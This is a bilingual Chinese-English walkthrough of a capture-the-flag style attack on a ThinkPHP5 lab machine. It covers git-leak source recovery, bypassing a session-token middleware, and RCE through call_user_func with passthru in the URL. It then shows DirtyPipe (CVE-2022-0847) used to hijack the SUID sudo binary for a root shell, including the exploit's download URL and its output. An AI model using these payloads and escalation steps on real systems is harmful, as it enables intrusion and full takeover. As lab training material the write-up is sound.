本文记录了针对一台ThinkPHP5靶机的渗透实战。攻击者首先通过8080端口的Git泄露获取网站源码。通过代码审计,理清了应用路由映射关系,并发现可生成合法Token的接口以绕过 Check1 中间件验证;随后利用控制器中未过滤的 call_user_func 函数,成功构造URL触发远程代码执行(RCE)获取Shell。在获取 welcome 用户权限后,借助 LinPEAS 扫描发现系统存在 DirtyPipe (CVE-2022-0847) 内核漏洞 ,最终通过劫持 SUID 二进制文件成功提权至 root。 本文记录了针对一台ThinkPHP5靶机的渗透实战。攻击者首先通过8080端口的Git泄露获取网站源码。通过代码审计,理清了应用路由映射关系,并发现可生成合法Token的接口以绕过 Check1 中间件验证;随后利用控制器中未过滤的 call_user_func 函数,成功构造URL触发远程代码执行(RCE)获取Shell。在获取 welcome 用户权限后,借助 LinPEAS 扫描发现系统存在 DirtyPipe (CVE-2022-0847) 内核漏洞 ,最终通过劫持 SUID 二进制文件成功提权至 root。
信息收集
# Nmap 7.95 scan initiated Sun Dec 14 16:23:57 2025 as: /usr/lib/nmap/nmap --privileged -sV -sC -v -oN 192.168.110.38.nmap 192.168.110.38
Nmap scan report for 192.168.110.38
Host is up (0.00093s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
8080/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-favicon: Unknown favicon MD5: AEE698715B7790C59A995DDB20C8625E
| http-methods:
| Supported Methods: GET POST PUT DELETE HEAD OPTIONS
|_ Potentially risky methods: PUT DELETE
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-git:
| 192.168.110.38:8080/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Remotes:
|_ https://github.com/LSP1025923/thinkphp.git
|_http-title: Thinkphp5
|_http-open-proxy: Proxy might be redirecting requests
MAC Address: 08:00:27:95:3F:EA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Dec 14 16:24:03 2025 -- 1 IP address (1 host up) scanned in 6.80 seconds
漏洞分析
代码审计
$ less config/app.php
# 应用映射(自动多应用模式有效)
'app_map' => ["think"=>"admin"], # 要搜索/admin就要搜索/think
'domain_bind' => []
既然有路由我们就可以查看网址有哪些
$ grep -r 'Route::'
app/admin/route/app.php:Route::rule("sb/:a/:b","Admin/hello"); //我想给这块设置路由方便你们渗透的,不知道为什么我这个路由是无效的 # 这很奇怪
查看Admin.php
<?php
namespace app\\admin\\controller;
use app\\BaseController;
use app\\middleware\\Check1; //这有一个检查
class Admin extends BaseController
{
protected $middleware =["Check1"];
public function hello($a,$b)
{
call_user_func($b, $a); #这是一个函数,使用$b($a)
}
}
根据路由规则http://192.168.110.38:8080/think/Admin/hello?a=&b=
查看Check1
<?php
declare (strict_types = 1);
namespace app\\middleware;
use think\\Response;
use think\\facade\\Session;
class Check1
{
/**
* 处理请求
*
* @param \\think\\Request $request
* @param \\Closure $next
* @return Response
*/
public function handle($request, \\Closure $next)
{
//
if ((Session::get("sb")==Session::get("token")&&!empty(Session::get("sb"))&&!empty(Session::get("token")))){ # 检查是否有参数且sb=token才放行
return $next($request);
}
else{
echo Session::get("sb");
echo "<br>";
echo Session("token");
return response("虽然我是新手,但是懂的一点token验证什么的");
}
}
}
我们看一下哪里设置了sb参数grep -r "Session::set" —> app/index/controller/Token.php
<?php
namespace app\index\controller;
use app\BaseController;
use think\facade\Session;
class Token extends BaseController
{
public function token()
{
$message = "请输入成员名称获取令牌";
if (input("post.sb") == "admin") { #传入admin获得一个token用于验证http://192.168.110.38:8080/think/Admin/hello?a=&b=
$sb = $this->request->buildToken("token", "sha1");
Session::set("sb", $sb);
$message = "获取成功: " . $sb;
} elseif (input("post.sb") !== null) {
$message = "你是猪脑袋嘛,都明摆着了";
}
这个网址根据路由是http://192.168.110.38:8080/index/token/token

此时我们转到http://192.168.110.38:8080/think/Admin/hello?a=id&b=passthru
利用
http://192.168.110.38:8080/think/Admin/hello?a=payload&b=passthru
在/home/welcome中发现.pwd ,在本地跑一下得到凭据welcome:eecho
权限提升
运行linpeas.sh得到
[+] [CVE-2022-0847] DirtyPipe
Details: https://dirtypipe.cm4all.com/
Exposure: less probable
Tags: ubuntu=(20.04|21.04),debian=11
Download URL: https://haxx.in/files/dirtypipez.c
编译好程序后
welcome@tpN:~$ ./test
Usage: ./test SUID
welcome@tpN:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
welcome@tpN:~$ ./test /usr/bin/sudo
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
# id
uid=0(root) gid=0(root) groups=0(root),1000(welcome)
经验教训
没仔细查看route路由,花费了大量时间
Information Gathering
# Nmap 7.95 scan initiated Sun Dec 14 16:23:57 2025 as: /usr/lib/nmap/nmap --privileged -sV -sC -v -oN 192.168.110.38.nmap 192.168.110.38
Nmap scan report for 192.168.110.38
Host is up (0.00093s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
8080/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-favicon: Unknown favicon MD5: AEE698715B7790C59A995DDB20C8625E
| http-methods:
| Supported Methods: GET POST PUT DELETE HEAD OPTIONS
|_ Potentially risky methods: PUT DELETE
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-git:
| 192.168.110.38:8080/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Remotes:
|_ https://github.com/LSP1025923/thinkphp.git
|_http-title: Thinkphp5
|_http-open-proxy: Proxy might be redirecting requests
MAC Address: 08:00:27:95:3F:EA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Dec 14 16:24:03 2025 -- 1 IP address (1 host up) scanned in 6.80 seconds
Vulnerability Analysis
Code Audit
$ less config/app.php
# Application mapping (auto multi-application mode enabled)
'app_map' => ["think"=>"admin"], # To search for /admin, you need to search for /think
'domain_bind' => []
Since there are routes, we can check what URLs are available
$ grep -r 'Route::'
app/admin/route/app.php:Route::rule("sb/:a/:b","Admin/hello"); // I wanted to set up a route here to facilitate your penetration, but for some reason this route is invalid # This is strange
View Admin.php
<?php
namespace app\admin\controller;
use app\BaseController;
use app\middleware\Check1; // There is a check here
class Admin extends BaseController
{
protected $middleware =["Check1"];
public function hello($a,$b)
{
call_user_func($b, $a); # This is a function, using $b($a)
}
}
According to the route rule http://192.168.110.38:8080/think/Admin/hello?a=&b=
View Check1
<?php
declare (strict_types = 1);
namespace app\middleware;
use think\Response;
use think\facade\Session;
class Check1
{
/**
* Handle the request
*
* @param \think\Request $request
* @param \Closure $next
* @return Response
*/
public function handle($request, \Closure $next)
{
//
if ((Session::get("sb")==Session::get("token")&&!empty(Session::get("sb"))&&!empty(Session::get("token")))){ // Only allow passage if parameters exist and sb equals token
return $next($request);
}
else{
echo Session::get("sb");
echo "<br>";
echo Session("token");
return response("Although I'm a beginner, I understand a bit about token verification");
}
}
}
Let's see where the sb parameter is set grep -r "Session::set" -> app/index/controller/Token.php
<?php
namespace app\index\controller;
use app\BaseController;
use think\facade\Session;
class Token extends BaseController
{
public function token()
{
$message = "Please enter member name to get token";
if (input("post.sb") == "admin") { // Pass 'admin' to obtain a token for verification at http://192.168.110.38:8080/think/Admin/hello?a=&b=
$sb = $this->request->buildToken("token", "sha1");
Session::set("sb", $sb);
$message = "Successfully obtained: " . $sb;
} elseif (input("post.sb") !== null) {
$message = "Are you stupid? It's obvious";
}
This URL according to the route is http://192.168.110.38:8080/index/token/token

At this point, we navigate to http://192.168.110.38:8080/think/Admin/hello?a=payload&b=passthru
Exploitation
http://192.168.110.38:8080/think/Admin/hello?a=payload&b=passthru
Found .pwd in /home/welcome, ran it locally to get credentials welcome:eecho
Privilege Escalation
Running linpeas.sh yields
[+] [CVE-2022-0847] DirtyPipe
Details: https://dirtypipe.cm4all.com/
Exposure: less probable
Tags: ubuntu=(20.04|21.04),debian=11
Download URL: https://haxx.in/files/dirtypipez.c
After compiling the program
welcome@tpN:~$ ./test
Usage: ./test SUID
welcome@tpN:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
welcome@tpN:~$ ./test /usr/bin/sudo
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
# id
uid=0(root) gid=0(root) groups=0(root),1000(welcome)
Lessons Learned
Did not carefully check the route, spent a lot of time